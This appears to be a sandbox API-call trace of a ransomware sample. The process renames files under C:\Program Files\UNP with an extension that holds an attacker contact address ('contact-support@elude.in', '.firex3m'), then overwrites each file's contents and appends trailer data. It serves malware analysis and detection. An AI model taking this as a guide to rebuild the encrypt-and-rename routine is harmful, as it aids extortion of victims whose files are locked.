[0225.932] GetProcessHeap () returned 0x630000 [0225.932] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc718 [0225.933] GetProcessHeap () returned 0x630000 [0225.933] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x6dc520 [0225.933] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.933] ReadFile (in: hFile=0x3f8, lpBuffer=0x6dc718, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc718*, lpNumberOfBytesRead=0x3cfff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0225.935] GetProcessHeap () returned 0x630000 [0225.935] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71772b8 [0225.935] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.935] WriteFile (in: hFile=0x3f8, lpBuffer=0x6dc520*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc520*, lpNumberOfBytesWritten=0x3cfff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0225.935] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.935] WriteFile (in: hFile=0x3f8, lpBuffer=0x6dc6df*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc6df*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0225.937] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0225.937] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0225.937] CloseHandle (hObject=0x3f8) returned 1 [0225.937] GetProcessHeap () returned 0x630000 [0225.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc520 | out: hHeap=0x630000) returned 1 [0225.937] GetProcessHeap () returned 0x630000 [0225.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc718 | out: hHeap=0x630000) returned 1 [0225.937] GetProcessHeap () returned 0x630000 [0225.937] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71772b8 | out: hHeap=0x630000) returned 1 [0225.954] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0225.954] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sk-SK\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92500ff3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x92500ff3, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c9e5689, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1eb, dwReserved0=0x3cffd20, dwReserved1=0x6dc718, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5380 [0225.955] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0225.955] Sleep (dwMilliseconds=0x1) [0225.997] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml") returned 1 [0225.997] GetProcessHeap () returned 0x630000 [0225.997] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5168) returned 0x6fe3bb0 [0225.997] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0225.999] CloseHandle (hObject=0x6ec) returned 1 [0225.999] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0225.999] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.000] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.000] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4d7ba500, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ad, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5200 [0226.000] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0226.000] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\sv-se\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.000] GetProcessHeap () returned 0x630000 [0226.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa440 [0226.000] GetProcessHeap () returned 0x630000 [0226.000] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x74aa9c8 [0226.000] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.001] ReadFile (in: hFile=0x6ec, lpBuffer=0x74aa440, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa440*, lpNumberOfBytesRead=0x3cfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0226.003] GetProcessHeap () returned 0x630000 [0226.003] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175df0 [0226.003] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.003] WriteFile (in: hFile=0x6ec, lpBuffer=0x74aa9c8*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aa9c8*, lpNumberOfBytesWritten=0x3cfff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0226.004] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.004] WriteFile (in: hFile=0x6ec, lpBuffer=0x74aab67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x74aab67*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.004] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.004] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.004] CloseHandle (hObject=0x6ec) returned 1 [0226.004] GetProcessHeap () returned 0x630000 [0226.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa9c8 | out: hHeap=0x630000) returned 1 [0226.004] GetProcessHeap () returned 0x630000 [0226.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74aa440 | out: hHeap=0x630000) returned 1 [0226.004] GetProcessHeap () returned 0x630000 [0226.004] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175df0 | out: hHeap=0x630000) returned 1 [0226.004] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\sv-SE\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x934cc975, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4ca7e028, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x3cffd20, dwReserved1=0x74aa440, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d53c0 [0226.004] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0226.005] Sleep (dwMilliseconds=0x1) [0226.044] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml", len=0x7d | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml") returned 1 [0226.044] GetProcessHeap () returned 0x630000 [0226.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5190) returned 0x6fe3bb0 [0226.044] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgradeth2.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0226.045] CloseHandle (hObject=0x3f8) returned 1 [0226.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.045] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgradeth2.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6fc8b500, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x172, dwReserved0=0x2e006c, dwReserved1=0x640069, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d5400 [0226.046] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0226.046] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\zh-tw\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0226.046] GetProcessHeap () returned 0x630000 [0226.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e1ea0 [0226.046] GetProcessHeap () returned 0x630000 [0226.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x181) returned 0x6e21d0 [0226.046] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.046] ReadFile (in: hFile=0x3f8, lpBuffer=0x6e1ea0, nNumberOfBytesToRead=0x160, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e1ea0*, lpNumberOfBytesRead=0x3cfff0c*=0x160, lpOverlapped=0x0) returned 1 [0226.048] GetProcessHeap () returned 0x630000 [0226.048] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7177600 [0226.048] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.048] WriteFile (in: hFile=0x3f8, lpBuffer=0x6e21d0*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e21d0*, lpNumberOfBytesWritten=0x3cfff0c*=0x160, lpOverlapped=0x0) returned 1 [0226.049] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.049] WriteFile (in: hFile=0x3f8, lpBuffer=0x6e232f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e232f*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0226.049] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.049] WriteFile (in: hFile=0x3f8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0226.049] CloseHandle (hObject=0x3f8) returned 1 [0226.049] GetProcessHeap () returned 0x630000 [0226.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e21d0 | out: hHeap=0x630000) returned 1 [0226.049] GetProcessHeap () returned 0x630000 [0226.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e1ea0 | out: hHeap=0x630000) returned 1 [0226.049] GetProcessHeap () returned 0x630000 [0226.049] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7177600 | out: hHeap=0x630000) returned 1 [0226.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.049] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\zh-TW\\toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x94cf0533, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4caf0682, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x196, dwReserved0=0x3cffd20, dwReserved1=0x6e1ea0, cFileName="toastbeginupgradeth2.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~1.FIR")) returned 0x6d4f40 [0226.050] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0226.050] Sleep (dwMilliseconds=0x1) [0226.104] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl", len=0x3f | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl") returned 1 [0226.104] GetProcessHeap () returned 0x630000 [0226.104] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b8) returned 0x6fe3bb0 [0226.104] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.022.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.127] CloseHandle (hObject=0x6ec) returned 1 [0226.127] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0226.127] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.022.etl"), lpNewFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0226.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0226.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffc6c | out: lpFindFileData=0x3cffc6c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0xcd5eb67, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniversalNotificationPlatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~1.FIR")) returned 0x6d51c0 [0226.167] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0226.167] CreateFileW (lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\logs\\universalnotificationplatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0226.167] GetProcessHeap () returned 0x630000 [0226.167] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0226.168] GetProcessHeap () returned 0x630000 [0226.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6ec0048 [0226.168] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0226.168] ReadFile (in: hFile=0x6ec, lpBuffer=0x72846e0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesRead=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0232.986] GetProcessHeap () returned 0x630000 [0232.986] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7175cd8 [0232.986] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.986] WriteFile (in: hFile=0x6ec, lpBuffer=0x6ec0048*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ec0048*, lpNumberOfBytesWritten=0x3cfff0c*=0xb400, lpOverlapped=0x0) returned 1 [0233.593] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0233.593] WriteFile (in: hFile=0x6ec, lpBuffer=0x6ecb447*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ecb447*, lpNumberOfBytesWritten=0x3cfff0c*=0x20, lpOverlapped=0x0) returned 1 [0234.213] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0234.213] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3cfff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3cfff0c*=0x4, lpOverlapped=0x0) returned 1 [0234.213] CloseHandle (hObject=0x6ec) returned 1 [0234.999] GetProcessHeap () returned 0x630000 [0234.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ec0048 | out: hHeap=0x630000) returned 1 [0234.999] GetProcessHeap () returned 0x630000 [0234.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0234.999] GetProcessHeap () returned 0x630000 [0234.999] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7175cd8 | out: hHeap=0x630000) returned 1 [0235.980] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3cfef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\Logs\\UniversalNotificationPlatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3cffcc4 | out: lpFindFileData=0x3cffcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb6ecb1, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0xcb6ecb1, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x518c1807, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x20024, dwReserved0=0xce07496, dwReserved1=0x72846d8, cFileName="UniversalNotificationPlatform.022.etl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="UNIVER~1.FIR")) returned 0x6d5480 [0235.980] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.980] Sleep (dwMilliseconds=0x1) [0236.061] SysReAllocStringLen (in: pbstr=0x3cfff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html", len=0x6f | out: pbstr=0x3cfff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\bg-BG\\index.html") returned 1 [0236.061] GetProcessHeap () returned 0x630000 [0236.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f6c) returned 0x6fe3bb0 